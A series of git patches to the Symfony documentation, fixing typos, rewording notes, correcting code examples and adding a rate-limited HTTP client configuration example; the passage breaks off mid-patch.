 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/ldap.rst b/security/ldap.rst
index 307d9996c9b..e51e8dda47f 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -25,7 +25,7 @@ This means that the following scenarios will work:
   either the LDAP form login or LDAP HTTP Basic authentication providers.
 
 * Checking a user's password against an LDAP server while fetching user
-  information from another source (database using FOSUserBundle, for
+  information from another source like your main database for
   example).
 
 * Loading user information from an LDAP server, while using another

From f4a552b9cd894ff233802ca52d66f7345908f26c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 30 Aug 2024 10:39:06 +0200
Subject: [PATCH 6336/7107] [FrameworkBundle] Lower uppercase `must`

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ce1062de1c8..c9ece98be72 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3268,7 +3268,7 @@ settings from the base pool as defaults.
 
 .. note::
 
-    Your service MUST implement the ``Psr\Cache\CacheItemPoolInterface`` interface.
+    Your service **must** implement the ``Psr\Cache\CacheItemPoolInterface`` interface.
 
 public
 """"""

From e7e60e1f0430cc69a25a2a24405032ed189d5226 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 30 Aug 2024 13:07:33 +0200
Subject: [PATCH 6337/7107] Minor tweak

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index c9ece98be72..4432563f597 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3268,7 +3268,7 @@ settings from the base pool as defaults.
 
 .. note::
 
-    Your service **must** implement the ``Psr\Cache\CacheItemPoolInterface`` interface.
+    Your service needs to implement the ``Psr\Cache\CacheItemPoolInterface`` interface.
 
 public
 """"""

From 2bbdc9901b5d9c8f53484717bcb2cbb1b9c169d0 Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Sat, 31 Aug 2024 22:15:03 +0200
Subject: [PATCH 6338/7107] Remove unnecessary type checking for the method
 from SentMessageEvent

---
 mailer.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index dca0dde5aad..eafd542e2f3 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1728,14 +1728,10 @@ which is useful for debugging errors::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Mailer\Event\SentMessageEvent;
-    use Symfony\Component\Mailer\SentMessage;
 
     public function onMessage(SentMessageEvent $event): void
     {
         $message = $event->getMessage();
-        if (!$message instanceof SentMessage) {
-            return;
-        }
 
         // do something with the message
     }

From 1976372c532977ae1215f58c2698f2c16f722036 Mon Sep 17 00:00:00 2001
From: Julien Dephix <jdephix@hotmail.com>
Date: Tue, 27 Aug 2024 16:59:53 +0200
Subject: [PATCH 6339/7107] Fix typos in end_to_end.rst

---
 testing/end_to_end.rst | 15 +++++++--------
 1 file changed, 7 insertions(+), 8 deletions(-)

diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst
index 4ae6fb9da15..eede672bfce 100644
--- a/testing/end_to_end.rst
+++ b/testing/end_to_end.rst
@@ -49,9 +49,9 @@ to install ChromeDriver and geckodriver locally:
 
     $ vendor/bin/bdi detect drivers
 
-Panther will detect and use automatically drivers stored in the ``drivers/`` directory
+Panther will detect and automatically use drivers stored in the ``drivers/`` directory
 of your project when installing them manually. You can download `ChromeDriver`_
-for Chromium or Chromeand `GeckoDriver`_ for Firefox and put them anywhere in
+for Chromium or Chrome and `GeckoDriver`_ for Firefox and put them anywhere in
 your ``PATH`` or in the ``drivers/`` directory of your project.
 
 Alternatively, you can use the package manager of your operating system
@@ -132,7 +132,7 @@ Creating a TestCase
 ~~~~~~~~~~~~~~~~~~~
 
 The ``PantherTestCase`` class allows you to write end-to-end tests. It
-automatically starts your app using the built-in PHP web server and let
+automatically starts your app using the built-in PHP web server and lets
 you crawl it using Panther. To provide all the testing tools you're used
 to, it extends `PHPUnit`_'s ``TestCase``.
 
@@ -264,8 +264,7 @@ future::
         }
     }
 
-You can then run this test by using PHPUnit, like you would do for any other
-test:
+You can then run this test using PHPUnit, like you would for any other test:
 
 .. code-block:: terminal
 
@@ -498,13 +497,13 @@ Having a Multi-domain Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 It happens that your PHP/Symfony application might serve several different
-domain names. As Panther saves the Client in memory between tests to improve
+domain names. As Panther saves the client in memory between tests to improve
 performance, you will have to run your tests in separate
 processes if you write several tests using Panther for different domain names.
 
 To do so, you can use the native ``@runInSeparateProcess`` PHPUnit annotation.
 Here is an example using the ``external_base_uri`` option to determine the
-domain name used by the Client when using separate processes::
+domain name used by the client when using separate processes::
 
     // tests/FirstDomainTest.php
     namespace App\Tests;
@@ -792,7 +791,7 @@ The following features are not currently supported:
 * Selecting invalid choices in select
 
 Also, there is a known issue if you are using Bootstrap 5. It implements a
-scrolling effect, which tends to mislead Panther. To fix this, we advise you to
+scrolling effect which tends to mislead Panther. To fix this, we advise you to
 deactivate this effect by setting the Bootstrap 5 ``$enable-smooth-scroll``
 variable to ``false`` in your style file:
 

From e8d3ad513297ce3445401862aac816d201955d8f Mon Sep 17 00:00:00 2001
From: Ed Poulain <edpoulain@gmail.com>
Date: Sun, 1 Sep 2024 09:51:55 +0200
Subject: [PATCH 6340/7107] Use the same template across all examples

---
 security/login_link.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index 23756024712..51f6f613f1b 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -277,7 +277,7 @@ number::
                 return $this->render('security/login_link_sent.html.twig');
             }
 
-            return $this->render('security/login.html.twig');
+            return $this->render('security/request_login_link.html.twig');
         }
 
         // ...
@@ -664,7 +664,7 @@ user create this POST request (e.g. by clicking a button)::
         <h2>Hi! You are about to login to ...</h2>
 
         <!-- for instance, use a form with hidden fields to
-             create the POST request --->
+             create the POST request -->
         <form action="{{ path('login_check') }}" method="POST">
             <input type="hidden" name="expires" value="{{ expires }}">
             <input type="hidden" name="user" value="{{ user }}">

From 08e3831fbb9344822b7751a7a83c290189ad6c7f Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sun, 1 Sep 2024 10:48:47 +0200
Subject: [PATCH 6341/7107] fix typo

---
 security/ldap.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/ldap.rst b/security/ldap.rst
index e51e8dda47f..b8db2d03a4f 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -25,7 +25,7 @@ This means that the following scenarios will work:
   either the LDAP form login or LDAP HTTP Basic authentication providers.
 
 * Checking a user's password against an LDAP server while fetching user
-  information from another source like your main database for
+  information from another source (like your main database for
   example).
 
 * Loading user information from an LDAP server, while using another

From bc88843304a3f7d512aec8cd168e0630abec687c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Maxime=20H=C3=A9lias?= <maximehelias16@gmail.com>
Date: Wed, 28 Aug 2024 21:45:50 +0200
Subject: [PATCH 6342/7107] [FrameworkBundle][HttpClient] Adding an explanation
 of ThrottlingHttpClient integration with the Framework

---
 http_client.rst | 104 +++++++++++++++++++++++++++++++++++++++++-------
 1 file changed, 89 insertions(+), 15 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index f1c150b54eb..91b91ebc4a5 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1488,30 +1488,104 @@ Limit the Number of Requests
 ----------------------------
 
 This component provides a :class:`Symfony\\Component\\HttpClient\\ThrottlingHttpClient`
-decorator that allows to limit the number of requests within a certain period.
+decorator that allows to limit the number of requests within a certain period,
+potentially delaying calls based on the rate limiting policy.
 
 The implementation leverages the
 :class:`Symfony\\Component\\RateLimiter\\LimiterInterface` class under the hood
 so the :doc:`Rate Limiter component </rate_limiter>` needs to be
 installed in your application::
 
-    use Symfony\Component\HttpClient\HttpClient;
-    use Symfony\Component\HttpClient\ThrottlingHttpClient;
-    use Symfony\Component\RateLimiter\LimiterInterface;
+.. configuration-block::
 
-    $rateLimiter = ...; // $rateLimiter is an instance of Symfony\Component\RateLimiter\LimiterInterface
-    $client = HttpClient::create();
-    $client = new ThrottlingHttpClient($client, $rateLimiter);
+    .. code-block:: yaml
 
-    $requests = [];
-    for ($i = 0; $i < 100; $i++) {
-        $requests[] = $client->request('GET', 'https://example.com');
-    }
+        # config/packages/framework.yaml
+        framework:
+            http_client:
+                scoped_clients:
+                    example.client:
+                        base_uri: 'https://example.com'
+                        rate_limiter: 'http_example_limiter'
 
-    foreach ($requests as $request) {
-        // Depending on rate limiting policy, calls will be delayed
-        $output->writeln($request->getContent());
-    }
+            rate_limiter:
+                # Don't send more than 10 requests in 5 seconds
+                http_example_limiter:
+                    policy: 'token_bucket'
+                    limit: 10
+                    rate: { interval: '5 seconds', amount: 10 }
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:http-client>
+                    <framework:scoped-client name="example.client"
+                        base-uri="https://example.com"
+                        rate-limiter="http_example_limiter"
+                    />
+                </framework:http-client>
+
+                <framework:rate-limiter>
+                    <!-- Don't send more than 10 requests in 5 seconds -->
+                    <framework:limiter name="http_example_limiter"
+                        policy="token_bucket"
+                        limit="10"
+                    >
+                        <framework:rate interval="5 seconds" amount="10"/>
+                    </framework:limiter>
+                </framework:rate-limiter>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->httpClient()->scopedClient('example.client')
+                ->baseUri('https://example.com')
+                ->rateLimiter('http_example_limiter');
+                // ...
+            ;
+
+            $framework->rateLimiter()
+                // Don't send more than 10 requests in 5 seconds
+                ->limiter('http_example_limiter')
+                    ->policy('token_bucket')
+                    ->limit(10)
+                    ->rate()
+                        ->interval('5 seconds')
+                        ->amount(10)
+                ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HttpClient\HttpClient;
+        use Symfony\Component\HttpClient\ThrottlingHttpClient;
+        use Symfony\Component\RateLimiter\RateLimiterFactory;
+        use Symfony\Component\RateLimiter\Storage\InMemoryStorage;
+
+        $factory = new RateLimiterFactory([
+            'id' => 'http_example_limiter',
+            'policy' => 'token_bucket',
+            'limit' => 10,
+            'rate' => ['interval' => '5 seconds', 'amount' => 10],
+        ], new InMemoryStorage());
+        $limiter = $factory->create();
+
+        $client = HttpClient::createForBaseUri('https://example.com');
+        $throttlingClient = new ThrottlingHttpClient($client, $limiter);
 
 .. versionadded:: 7.1
 

From 00bb3783ca829f0c32e3e0e01e53abebf7de96f3 Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Sun, 1 Sep 2024 19:42:01 +0200
Subject: [PATCH 6343/7107] Replace code block text with terminal where it was
 used incorrectly

---
 components/console/helpers/table.rst | 4 ++--
 contributing/community/reviews.rst   | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index 8d160689de7..171412511aa 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -199,7 +199,7 @@ You can also set the style to ``box``::
 
 which outputs:
 
-.. code-block:: text
+.. code-block:: terminal
 
     ┌───────────────┬──────────────────────────┬──────────────────┐
     │ ISBN          │ Title                    │ Author           │
@@ -217,7 +217,7 @@ You can also set the style to ``box-double``::
 
 which outputs:
 
-.. code-block:: text
+.. code-block:: terminal
 
     ╔═══════════════╤══════════════════════════╤══════════════════╗
     ║ ISBN          │ Title                    │ Author           ║
diff --git a/contributing/community/reviews.rst b/contributing/community/reviews.rst
index ba08e4ffd36..94c37643988 100644
--- a/contributing/community/reviews.rst
+++ b/contributing/community/reviews.rst
@@ -167,7 +167,7 @@ Pick a pull request from the `PRs in need of review`_ and follow these steps:
    PR by running the following Git commands. Insert the PR ID (that's the number
    after the ``#`` in the PR title) for the ``<ID>`` placeholders:
 
-   .. code-block:: text
+   .. code-block:: terminal
 
        $ cd vendor/symfony/symfony
        $ git fetch origin pull/<ID>/head:pr<ID>
@@ -175,7 +175,7 @@ Pick a pull request from the `PRs in need of review`_ and follow these steps:
 
    For example:
 
-   .. code-block:: text
+   .. code-block:: terminal
 
        $ git fetch origin pull/15723/head:pr15723
        $ git checkout pr15723

From 9041d0561814160270179e319970e12dd4bc47e8 Mon Sep 17 00:00:00 2001
From: Ramin Banihashemi <a@ramin.it>
Date: Sun, 1 Sep 2024 00:20:06 +0200
Subject: [PATCH 6344/7107] =?UTF-8?q?[Translation]=20fix:=20add=20nikic/ph?=
 =?UTF-8?q?p-parser=20requirement=20for=20translation:extract=20in=20tran?=
 =?UTF-8?q?=E2=80=A6?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 translation.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/translation.rst b/translation.rst
index 90409acc589..7c596c78b11 100644
--- a/translation.rst
+++ b/translation.rst
@@ -462,6 +462,14 @@ The ``translation:extract`` command looks for missing translations in:
     The support of PHP files/classes that use constraint attributes was
     introduced in Symfony 6.2.
 
+To read PHP files, is used the new ``PhpAstExtractor`` service supports all kinds of ``trans()`` function calls, usages of :class:`Symfony\\Component\\Translation\\TranslatableMessage` class, messages defined in validation constraints, etc...
+
+To use the new translation extractor, install the ``nikic/php-parser`` package using Composer, before using `translation:extract`.
+
+.. code-block:: terminal
+
+    $ composer require nikic/php-parser
+
 .. _translation-resource-locations:
 
 Translation Resource/File Names and Locations

From ad9262617b9bd02027f840c3626470725112e02c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 2 Sep 2024 12:28:31 +0200
Subject: [PATCH 6345/7107] Reword

---
 translation.rst | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/translation.rst b/translation.rst
index 7c596c78b11..39ba34a519d 100644
--- a/translation.rst
+++ b/translation.rst
@@ -462,13 +462,15 @@ The ``translation:extract`` command looks for missing translations in:
     The support of PHP files/classes that use constraint attributes was
     introduced in Symfony 6.2.
 
-To read PHP files, is used the new ``PhpAstExtractor`` service supports all kinds of ``trans()`` function calls, usages of :class:`Symfony\\Component\\Translation\\TranslatableMessage` class, messages defined in validation constraints, etc...
+.. tip::
 
-To use the new translation extractor, install the ``nikic/php-parser`` package using Composer, before using `translation:extract`.
+    Install the ``nikic/php-parser`` package in your project to improve the
+    results of the ``translation:extract`` command. This package enables an
+    `AST`_ parser that can find many more translatable items:
 
-.. code-block:: terminal
+    .. code-block:: terminal
 
-    $ composer require nikic/php-parser
+        $ composer require nikic/php-parser
 
 .. _translation-resource-locations:
 
@@ -1594,3 +1596,4 @@ Learn more
 .. _`Loco (localise.biz)`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Translation/Bridge/Loco/README.md
 .. _`Lokalise`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Translation/Bridge/Lokalise/README.md
 .. _`Phrase`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Translation/Bridge/Phrase/README.md
+.. _`AST`: https://en.wikipedia.org/wiki/Abstract_syntax_tree

From 4a5adff84946798aacf9f6963bf6660ec6f51de1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 2 Sep 2024 12:33:00 +0200
Subject: [PATCH 6346/7107] [Translation] Added a missing versionadded
 directive

---
 translation.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/translation.rst b/translation.rst
index 39ba34a519d..ad463b34823 100644
--- a/translation.rst
+++ b/translation.rst
@@ -472,6 +472,10 @@ The ``translation:extract`` command looks for missing translations in:
 
         $ composer require nikic/php-parser
 
+    .. versionadded:: 6.2
+
+        The AST parser support was introduced in Symfony 6.2.
+
 .. _translation-resource-locations:
 
 Translation Resource/File Names and Locations

From 4b4b1a0a15858fc15be4d7c1497da480ed44a8e0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 2 Sep 2024 12:33:59 +0200
Subject: [PATCH 6347/7107] =?UTF-8?q?[Translation]=C2=A0Remove=20an=20unne?=
 =?UTF-8?q?eded=20versionadded=20directive?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 translation.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/translation.rst b/translation.rst
index ad463b34823..39ba34a519d 100644
--- a/translation.rst
+++ b/translation.rst
@@ -472,10 +472,6 @@ The ``translation:extract`` command looks for missing translations in:
 
         $ composer require nikic/php-parser
 
-    .. versionadded:: 6.2
-
-        The AST parser support was introduced in Symfony 6.2.
-
 .. _translation-resource-locations:
 
 Translation Resource/File Names and Locations

From 967949292aaa3682c02fbf8be6e5938639551d76 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 2 Sep 2024 12:34:39 +0200
Subject: [PATCH 6348/7107] [Translation] Read a versionadded directive

---
 translation.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/translation.rst b/translation.rst
index 39ba34a519d..ad463b34823 100644
--- a/translation.rst
+++ b/translation.rst
@@ -472,6 +472,10 @@ The ``translation:extract`` command looks for missing translations in:
 
         $ composer require nikic/php-parser
 
+    .. versionadded:: 6.2
+
+        The AST parser support was introduced in Symfony 6.2.
+
 .. _translation-resource-locations:
 
 Translation Resource/File Names and Locations

From 0c1a63900ab6ac2aa0f3848541f11ef47b932232 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 2 Sep 2024 13:55:32 +0200
Subject: [PATCH 6349/7107] fix typo

---
 reference/constraints/Week.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Week.rst b/reference/constraints/Week.rst
index 26d82777636..f107d8b4192 100644
--- a/reference/constraints/Week.rst
+++ b/reference/constraints/Week.rst
@@ -89,7 +89,7 @@ the following:
 This constraint not only checks that the value matches the week number pattern,
 but it also verifies that the specified week actually exists in the calendar.
 According to the ISO-8601 standard, years can have either 52 or 53 weeks. For example,
-``2022-W53`` is not a valid because 2022 only had 52 weeks; but ``2020-W53`` is
+``2022-W53`` is not valid because 2022 only had 52 weeks; but ``2020-W53`` is
 valid because 2020 had 53 weeks.
 
 Options

From a1baaf1987ec2aaebba611dc39a600d0dd5907a2 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 2 Sep 2024 16:51:20 +0200
Subject: [PATCH 6350/7107] fix typo

---
 security/custom_authenticator.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index c40765e9a8a..dcddbc03444 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -37,7 +37,7 @@ method that fits most use-cases::
          */
         public function supports(Request $request): ?bool
         {
-            // "auth_token" is an example of a custom, non-standard HTTP header used in this application
+            // "auth-token" is an example of a custom, non-standard HTTP header used in this application
             return $request->headers->has('auth-token');
         }
 

From 3fecb780fb4e866cd83c1f669b5c22dcdbfbe0b2 Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Mon, 2 Sep 2024 15:33:05 -0300
Subject: [PATCH 6351/7107] Update reference for "framework.cache.prefix_seed"
 config node

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 6ec90ad032b..1d0be35b088 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -532,7 +532,7 @@ On production, there are a few important things to think about:
 
 **Use the Same Cache Between Deploys**
     If your deploy strategy involves the creation of new target directories, you
-    should set a value for the :ref:`cache.prefix.seed <reference-cache-prefix-seed>`
+    should set a value for the :ref:`cache.prefix_seed <reference-cache-prefix-seed>`
     configuration option in order to use the same cache namespace between deployments.
     Otherwise, the ``cache.app`` pool will use the value of the ``kernel.project_dir``
     parameter as base for the namespace, which will lead to different namespaces

From dea8bf6a3a928bd4f6eceedc69e60a70b0668633 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 3 Sep 2024 09:50:17 +0200
Subject: [PATCH 6352/7107] Translation - fix lint for ci

---
 translation.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/translation.rst b/translation.rst
index 50de01cfc1e..f1704ddccb2 100644
--- a/translation.rst
+++ b/translation.rst
@@ -467,10 +467,6 @@ The ``translation:extract`` command looks for missing translations in:
 
         $ composer require nikic/php-parser
 
-    .. versionadded:: 6.2
-
-        The AST parser support was introduced in Symfony 6.2.
-
 .. _translation-resource-locations:
 
 Translation Resource/File Names and Locations

From 4ee1a121a88974c41e75051bca32552835a9a32e Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Tue, 3 Sep 2024 07:18:48 -0300
Subject: [PATCH 6353/7107] Add missing backticks in inline snippets

---
 components/cache/adapters/redis_adapter.rst | 2 +-
 components/var_dumper.rst                   | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 590483a19be..2b00058c6bd 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -176,7 +176,7 @@ Available Options
 
 ``redis_cluster`` (type: ``bool``, default: ``false``)
     Enables or disables redis cluster. The actual value passed is irrelevant as long as it passes loose comparison
-    checks: `redis_cluster=1` will suffice.
+    checks: ``redis_cluster=1`` will suffice.
 
 ``redis_sentinel`` (type: ``string``, default: ``null``)
     Specifies the master name connected to the sentinels.
diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index 2e6a337131b..b6cb8c4b346 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -391,7 +391,7 @@ then its dump representation::
 
 .. note::
 
-    `#14` is the internal object handle. It allows comparing two
+    ``#14`` is the internal object handle. It allows comparing two
     consecutive dumps of the same object.
 
 .. code-block:: php

From 2a0a7163793028bc1af26c3e58bf53fe0a7d5e71 Mon Sep 17 00:00:00 2001
From: Michal Landsman <landsman@studioart.cz>
Date: Tue, 3 Sep 2024 09:37:51 +0200
Subject: [PATCH 6354/7107] bundles - add reason why they are not recommended

---
 best_practices.rst | 2 ++
 bundles.rst        | 2 +-
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/best_practices.rst b/best_practices.rst
index dafdfe8bc1c..cc38287365e 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -160,6 +160,8 @@ values is that it's complicated to redefine their values in your tests.
 Business Logic
 --------------
 
+.. _best-practice-no-application-bundles:
+
 Don't Create any Bundle to Organize your Application Logic
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/bundles.rst b/bundles.rst
index dba4b30e441..02db1dd5d23 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -6,7 +6,7 @@ The Bundle System
 .. caution::
 
     In Symfony versions prior to 4.0, it was recommended to organize your own
-    application code using bundles. This is no longer recommended and bundles
+    application code using bundles. This is :ref:`no longer recommended <best-practice-no-application-bundles>` and bundles
     should only be used to share code and features between multiple applications.
 
 A bundle is similar to a plugin in other software, but even better. The core

From 5b4c2cd32591fe0f2159435144c7363203368e82 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20M=C3=B6nch?= <simonmoench@googlemail.com>
Date: Wed, 4 Sep 2024 09:50:52 +0200
Subject: [PATCH 6355/7107] [Scheduler] Fix indention and single quotes for `A
 Dynamic Vision for the Messages Generated` section example

---
 scheduler.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index ae621d9ece5..160ba26e0cb 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -412,9 +412,10 @@ checks for messages to be generated::
                         new ExcludeHolidaysTrigger(
                             CronExpressionTrigger::fromSpec('@daily'),
                         ),
-                    // instead of being static as in the previous example
-                    new CallbackMessageProvider([$this, 'generateReports'], 'foo')),
-                    RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport())
+                        // instead of being static as in the previous example
+                        new CallbackMessageProvider([$this, 'generateReports'], 'foo')
+                    ),
+                    RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport())
                 );
         }
 

From 07105c35375414672a260c93d466a356ef45a6c0 Mon Sep 17 00:00:00 2001
From: Xavier Laviron <norival@users.noreply.github.com>
Date: Thu, 5 Sep 2024 10:25:21 +0200
Subject: [PATCH 6356/7107] Fix typo in mailer.rst

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index eafd542e2f3..8e2e244c449 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1752,7 +1752,7 @@ FailedMessageEvent
 
     The ``FailedMessageEvent`` event was introduced in Symfony 6.2.
 
-``FailedMessageEvent`` allows acting on the the initial message in case of a failure::
+``FailedMessageEvent`` allows acting on the initial message in case of a failure::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Mailer\Event\FailedMessageEvent;

From afe3aea2233f1eb8c30a48861255b7e6f1b49803 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Thu, 5 Sep 2024 15:36:43 +0200
Subject: [PATCH 6357/7107] Update link for accelerated downloads on nginx

---
 components/http_foundation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index d24cb8032f0..f1adc0effcd 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -857,7 +857,7 @@ Learn More
     /session
     /http_cache/*
 
-.. _nginx: https://www.nginx.com/resources/wiki/start/topics/examples/xsendfile/
+.. _nginx: https://mattbrictson.com/blog/accelerated-rails-downloads
 .. _Apache: https://tn123.org/mod_xsendfile/
 .. _`JSON Hijacking`: https://haacked.com/archive/2009/06/25/json-hijacking.aspx/
 .. _`valid JSON top-level value`: https://www.json.org/json-en.html

From 39878b84abbde111a1971316abe87c3bd9a6394c Mon Sep 17 00:00:00 2001
From: lkolndeep <lkolndeep@protonmail.com>
Date: Thu, 5 Sep 2024 18:29:06 +0200
Subject: [PATCH 6358/7107] Add the yaml and xml config folders

---
 serializer.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index 35894018cb5..cd3aff46dbc 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -209,6 +209,7 @@ You can also specify the context on a per-property basis::
 
     .. code-block:: yaml
 
+        # config/serializer/custom_config.yaml
         App\Model\Person:
             attributes:
                 createdAt:
@@ -218,6 +219,7 @@ You can also specify the context on a per-property basis::
     .. code-block:: xml
 
         <?xml version="1.0" encoding="UTF-8" ?>
+        <!-- config/serializer/custom_config.xml -->
         <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping

From da99ac7be363be5caf822d21f31774988b553843 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 6 Sep 2024 13:31:10 +0200
Subject: [PATCH 6359/7107] Minor tweak

---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index cd3aff46dbc..50bd0149a19 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -218,8 +218,8 @@ You can also specify the context on a per-property basis::
 
     .. code-block:: xml
 
-        <?xml version="1.0" encoding="UTF-8" ?>
         <!-- config/serializer/custom_config.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
         <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping

From 58b4aea69563ed2c750ce8ac10ba0bc08a5c8c48 Mon Sep 17 00:00:00 2001
From: Nelu Buga <39184661+nBuga@users.noreply.github.com>
Date: Fri, 6 Sep 2024 15:00:54 +0300
Subject: [PATCH 6360/7107] Update serializer.rst

Use the right namespace for the Attribute
---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index b0a005314d9..2900a49ba4e 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -416,7 +416,7 @@ their paths using a :doc:`valid PropertyAccess syntax </components/property_acce
 
         namespace App\Model;
 
